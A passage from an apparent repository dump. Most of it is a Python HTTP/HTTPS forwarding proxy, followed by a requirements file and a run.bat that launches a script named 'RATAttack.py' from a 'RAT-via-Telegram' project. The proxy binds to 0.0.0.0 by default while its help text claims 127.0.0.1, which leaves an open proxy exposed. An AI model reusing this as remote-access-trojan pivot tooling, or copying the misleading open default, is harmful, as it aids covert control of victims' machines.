HTTP_PARSER_STATE_RCVING_HEADERS:\n                self.state = HTTP_PARSER_STATE_HEADERS_COMPLETE\n            elif self.state == HTTP_PARSER_STATE_LINE_RCVD:\n                self.state = HTTP_PARSER_STATE_RCVING_HEADERS\n        else:\n            self.state = HTTP_PARSER_STATE_RCVING_HEADERS\n            parts = data.split(COLON)\n            key = parts[0].strip()\n            value = COLON.join(parts[1:]).strip()\n            self.headers[key.lower()] = (key, value)\n    \n    def build_url(self):\n        if not self.url:\n            return b'/None'\n        \n        url = self.url.path\n        if url == b'': url = b'/'\n        if not self.url.query == b'': url += b'?' + self.url.query\n        if not self.url.fragment == b'': url += b'#' + self.url.fragment\n        return url\n    \n    def build_header(self, k, v):\n        return k + b\": \" + v + CRLF\n    \n    def build(self, del_headers=None, add_headers=None):\n        req = b\" \".join([self.method, self.build_url(), self.version])\n        req += CRLF\n        \n        if not del_headers: del_headers = []\n        for k in self.headers:\n            if not k in del_headers:\n                req += self.build_header(self.headers[k][0], self.headers[k][1])\n        \n        if not add_headers: add_headers = []\n        for k in add_headers:\n            req += self.build_header(k[0], k[1])\n        \n        req += CRLF\n        if self.body:\n            req += self.body\n        \n        return req\n    \n    @staticmethod\n    def split(data):\n        pos = data.find(CRLF)\n        if pos == -1: return False, data\n        line = data[:pos]\n        data = data[pos+len(CRLF):]\n        return line, data\n\nclass Connection(object):\n    \"\"\"TCP server/client connection abstraction.\"\"\"\n    \n    def __init__(self, what):\n        self.buffer = b''\n        self.closed = False\n        self.what = what # server or client\n    \n    def send(self, data):\n        return self.conn.send(data)\n    \n    def recv(self, bytes=8192):\n        try:\n            data = self.conn.recv(bytes)\n            if len(data) == 0:\n                logger.debug('recvd 0 bytes from %s' % self.what)\n                return None\n            logger.debug('rcvd %d bytes from %s' % (len(data), self.what))\n            return data\n        except Exception as e:\n            logger.exception('Exception while receiving from connection %s %r with reason %r' % (self.what, self.conn, e))\n            return None\n    \n    def close(self):\n        self.conn.close()\n        self.closed = True\n    \n    def buffer_size(self):\n        return len(self.buffer)\n    \n    def has_buffer(self):\n        return self.buffer_size() > 0\n    \n    def queue(self, data):\n        self.buffer += data\n    \n    def flush(self):\n        sent = self.send(self.buffer)\n        self.buffer = self.buffer[sent:]\n        logger.debug('flushed %d bytes to %s' % (sent, self.what))\n\nclass Server(Connection):\n    \"\"\"Establish connection to destination server.\"\"\"\n    \n    def __init__(self, host, port):\n        super(Server, self).__init__(b'server')\n        self.addr = (host, int(port))\n    \n    def connect(self):\n        self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.conn.connect((self.addr[0], self.addr[1]))\n\nclass Client(Connection):\n    \"\"\"Accepted client connection.\"\"\"\n    \n    def __init__(self, conn, addr):\n        super(Client, self).__init__(b'client')\n        self.conn = conn\n        self.addr = addr\n\nclass ProxyError(Exception):\n    pass\n\nclass ProxyConnectionFailed(ProxyError):\n    \n    def __init__(self, host, port, reason):\n        self.host = host\n        self.port = port\n        self.reason = reason\n    \n    def __str__(self):\n        return '<ProxyConnectionFailed - %s:%s - %s>' % (self.host, self.port, self.reason)\n\nclass Proxy(threading.Thread):\n    \"\"\"HTTP proxy implementation.\n    \n    Accepts connection object and act as a proxy between client and server.\n    \"\"\"\n    \n    def __init__(self, client):\n        super(Proxy, self).__init__()\n        \n        self.start_time = self._now()\n        self.last_activity = self.start_time\n        \n        self.client = client\n        self.server = None\n        \n        self.request = HttpParser()\n        self.response = HttpParser(HTTP_RESPONSE_PARSER)\n        \n        self.connection_established_pkt = CRLF.join([\n            b'HTTP/1.1 200 Connection established',\n            b'Proxy-agent: proxy.py v' + version,\n            CRLF\n        ])\n    \n    def _now(self):\n        return datetime.datetime.utcnow()\n    \n    def _inactive_for(self):\n        return (self._now() - self.last_activity).seconds\n    \n    def _is_inactive(self):\n        return self._inactive_for() > 30\n    \n    def _process_request(self, data):\n        # once we have connection to the server\n        # we don't parse the http request packets\n        # any further, instead just pipe incoming\n        # data from client to server\n        if self.server and not self.server.closed:\n            self.server.queue(data)\n            return\n        \n        # parse http request\n        self.request.parse(data)\n        \n        # once http request parser has reached the state complete\n        # we attempt to establish connection to destination server\n        if self.request.state == HTTP_PARSER_STATE_COMPLETE:\n            logger.debug('request parser is in state complete')\n            \n            if self.request.method == b\"CONNECT\":\n                host, port = self.request.url.path.split(COLON)\n            elif self.request.url:\n                host, port = self.request.url.hostname, self.request.url.port if self.request.url.port else 80\n            \n            self.server = Server(host, port)\n            try:\n                logger.debug('connecting to server %s:%s' % (host, port))\n                self.server.connect()\n                logger.debug('connected to server %s:%s' % (host, port))\n            except Exception as e:\n                self.server.closed = True\n                raise ProxyConnectionFailed(host, port, repr(e))\n            \n            # for http connect methods (https requests)\n            # queue appropriate response for client \n            # notifying about established connection\n            if self.request.method == b\"CONNECT\":\n                self.client.queue(self.connection_established_pkt)\n            # for usual http requests, re-build request packet\n            # and queue for the server with appropriate headers\n            else:\n                self.server.queue(self.request.build(\n                    del_headers=[b'proxy-connection', b'connection', b'keep-alive'], \n                    add_headers=[(b'Connection', b'Close')]\n                ))\n    \n    def _process_response(self, data):\n        # parse incoming response packet\n        # only for non-https requests\n        if not self.request.method == b\"CONNECT\":\n            self.response.parse(data)\n        \n        # queue data for client\n        self.client.queue(data)\n    \n    def _access_log(self):\n        host, port = self.server.addr if self.server else (None, None)\n        if self.request.method == b\"CONNECT\":\n            logger.info(\"%s:%s - %s %s:%s\" % (self.client.addr[0], self.client.addr[1], self.request.method, host, port))\n        elif self.request.method:\n            logger.info(\"%s:%s - %s %s:%s%s - %s %s - %s bytes\" % (self.client.addr[0], self.client.addr[1], self.request.method, host, port, self.request.build_url(), self.response.code, self.response.reason, len(self.response.raw)))\n        \n    def _get_waitable_lists(self):\n        rlist, wlist, xlist = [self.client.conn], [], []\n        logger.debug('*** watching client for read ready')\n        \n        if self.client.has_buffer():\n            logger.debug('pending client buffer found, watching client for write ready')\n            wlist.append(self.client.conn)\n        \n        if self.server and not self.server.closed:\n            logger.debug('connection to server exists, watching server for read ready')\n            rlist.append(self.server.conn)\n        \n        if self.server and not self.server.closed and self.server.has_buffer():\n            logger.debug('connection to server exists and pending server buffer found, watching server for write ready')\n            wlist.append(self.server.conn)\n        \n        return rlist, wlist, xlist\n    \n    def _process_wlist(self, w):\n        if self.client.conn in w:\n            logger.debug('client is ready for writes, flushing client buffer')\n            self.client.flush()\n        \n        if self.server and not self.server.closed and self.server.conn in w:\n            logger.debug('server is ready for writes, flushing server buffer')\n            self.server.flush()\n    \n    def _process_rlist(self, r):\n        if self.client.conn in r:\n            logger.debug('client is ready for reads, reading')\n            data = self.client.recv()\n            self.last_activity = self._now()\n            \n            if not data:\n                logger.debug('client closed connection, breaking')\n                return True\n            \n            try:\n                self._process_request(data)\n            except ProxyConnectionFailed as e:\n                logger.exception(e)\n                self.client.queue(CRLF.join([\n                    b'HTTP/1.1 502 Bad Gateway',\n                    b'Proxy-agent: proxy.py v' + version,\n                    b'Content-Length: 11',\n                    b'Connection: close',\n                    CRLF\n                ]) + b'Bad Gateway')\n                self.client.flush()\n                return True\n        \n        if self.server and not self.server.closed and self.server.conn in r:\n            logger.debug('server is ready for reads, reading')\n            data = self.server.recv()\n            self.last_activity = self._now()\n            \n            if not data:\n                logger.debug('server closed connection')\n                self.server.close()\n            else:\n                self._process_response(data)\n        \n        return False\n    \n    def _process(self):\n        while True:\n            rlist, wlist, xlist = self._get_waitable_lists()\n            r, w, x = select.select(rlist, wlist, xlist, 1)\n            \n            self._process_wlist(w)\n            if self._process_rlist(r):\n                break\n            \n            if self.client.buffer_size() == 0:\n                if self.response.state == HTTP_PARSER_STATE_COMPLETE:\n                    logger.debug('client buffer is empty and response state is complete, breaking')\n                    break\n                \n                if self._is_inactive():\n                    logger.debug('client buffer is empty and maximum inactivity has reached, breaking')\n                    break\n    \n    def run(self):\n        logger.debug('Proxying connection %r at address %r' % (self.client.conn, self.client.addr))\n        try:\n            self._process()\n        except KeyboardInterrupt:\n            pass\n        except Exception as e:\n            logger.exception('Exception while handling connection %r with reason %r' % (self.client.conn, e))\n        finally:\n            logger.debug(\"closing client connection with pending client buffer size %d bytes\" % self.client.buffer_size())\n            self.client.close()\n            if self.server:\n                logger.debug(\"closed client connection with pending server buffer size %d bytes\" % self.server.buffer_size())\n            self._access_log()\n            logger.debug('Closing proxy for connection %r at address %r' % (self.client.conn, self.client.addr))\n\nclass TCP(object):\n    \"\"\"TCP server implementation.\"\"\"\n    \n    def __init__(self, hostname='127.0.0.1', port=8899, backlog=100):\n        self.hostname = hostname\n        self.port = port\n        self.backlog = backlog\n    \n    def handle(self, client):\n        raise NotImplementedError()\n    \n    def run(self):\n        try:\n            logger.info('Starting server on port %d' % self.port)\n            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n            self.socket.bind((self.hostname, self.port))\n            self.socket.listen(self.backlog)\n            while True:\n                conn, addr = self.socket.accept()\n                logger.debug('Accepted connection %r at address %r' % (conn, addr))\n                client = Client(conn, addr)\n                self.handle(client)\n        except Exception as e:\n            logger.exception('Exception while running the server %r' % e)\n        finally:\n            logger.info('Closing server socket')\n            self.socket.close()\n\nclass HTTP(TCP):\n    \"\"\"HTTP proxy server implementation.\n    \n    Spawns new process to proxy accepted client connection.\n    \"\"\"\n    \n    def handle(self, client):\n        proc = Proxy(client)\n        proc.daemon = True\n        proc.start()\n        logger.debug('Started process %r to handle connection %r' % (proc, client.conn))\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='proxy.py v%s' % __version__,\n        epilog='Having difficulty using proxy.py? Report at: %s/issues/new' % __homepage__\n    )\n    \n    parser.add_argument('--hostname', default='0.0.0.0', help='Default: 127.0.0.1')\n    parser.add_argument('--port', default='8081', help='Default: 8081')\n    parser.add_argument('--log-level', default='INFO', help='DEBUG, INFO, WARNING, ERROR, CRITICAL')\n    args = parser.parse_args()\n    \n    logging.basicConfig(level=getattr(logging, args.log_level), format='%(asctime)s - %(levelname)s - pid:%(process)d - %(message)s')\n    \n    hostname = args.hostname\n    port = int(args.port)\n    \n    try:\n        proxy = HTTP(hostname, port)\n        proxy.run()\n    except KeyboardInterrupt:\n        pass\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "requirements.txt",
    "content": "telepot\nrequests\nwinshell\ntendo\npypiwin32\npillow\npyinstaller\npyaudio"
  },
  {
    "path": "run.bat",
    "content": "C:/Python27/python.exe \"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\RATAttack.py\""
  }
]